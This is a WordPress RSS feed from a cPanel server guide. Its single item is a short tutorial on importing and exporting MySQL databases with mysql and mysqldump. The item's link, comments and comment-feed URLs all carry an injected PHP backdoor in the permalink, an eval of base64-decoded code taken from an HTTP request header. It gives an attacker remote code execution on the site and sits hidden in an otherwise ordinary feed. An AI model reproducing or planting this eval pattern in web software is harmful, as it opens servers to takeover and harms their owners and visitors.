<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>cPanelConfig - cPanel server configuration guide &#187; import</title>
	<atom:link href="http://www.cpanelconfig.com/tag/import/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.cpanelconfig.com</link>
	<description>The complete guide to setup and manage a cPanel based server</description>
	<lastBuildDate>Fri, 17 Jul 2009 11:15:39 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Importing/Exporting a mysql database</title>
		<link>http://www.cpanelconfig.com/2007/11/05/importingexporting-a-mysql-database/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/11/05/importingexporting-a-mysql-database/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Mon, 05 Nov 2007 16:30:44 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Linux commands]]></category>
		<category><![CDATA[export]]></category>
		<category><![CDATA[import]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[mysqldump]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/general-work-on-cpanel-servers/basic-linux-commands-for-linux-based-servers/importingexporting-a-mysql-database/</guid>
		<description><![CDATA[



Although you can do a database import and/or export from phpMyAdmin there is a size limitation (defined in my.cnf max_allowed_packet) when you do an import, so the only solution is to import it from shell.
This article will show you how simple it is to do it.
Importing a mysql database

Login to your server as root or [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense--><br />
Although you can do a database import and/or export from phpMyAdmin there is a size limitation (defined in my.cnf max_allowed_packet) when you do an import, so the only solution is to import it from shell.<br />
This article will show you how simple it is to do it.</p>
<p><strong>Importing a mysql database</strong></p>
<ol>
<li>Login to your server as root or as a user that has access to that database</li>
<li>Type the fallowing command</li>
<blockquote><p>mysql -u<strong>USERNAME</strong> -p<strong>PASSWORD</strong> database_name &lt; database.sql</p></blockquote>
</ol>
<p><!--adsense--><br />
<strong>Exporting a database</strong></p>
<ol>
<li>Login to your server as root or as a user that has access to that database</li>
<li>Type the fallowing command</li>
<blockquote><p>mysqldump -u<strong>USERNAME</strong> -p<strong>PASSWORD</strong> database_name &gt; database.sql</p></blockquote>
</ol>
<p>Notes:</p>
<p>USERNAME and PASSWORD is a combination that has access to that database. It can actually be the mysql root user.<br />
database.sql is the file imported or the file to which you do the export.</p>
<p>Hope this helps !<br />
<!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/11/05/importingexporting-a-mysql-database/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
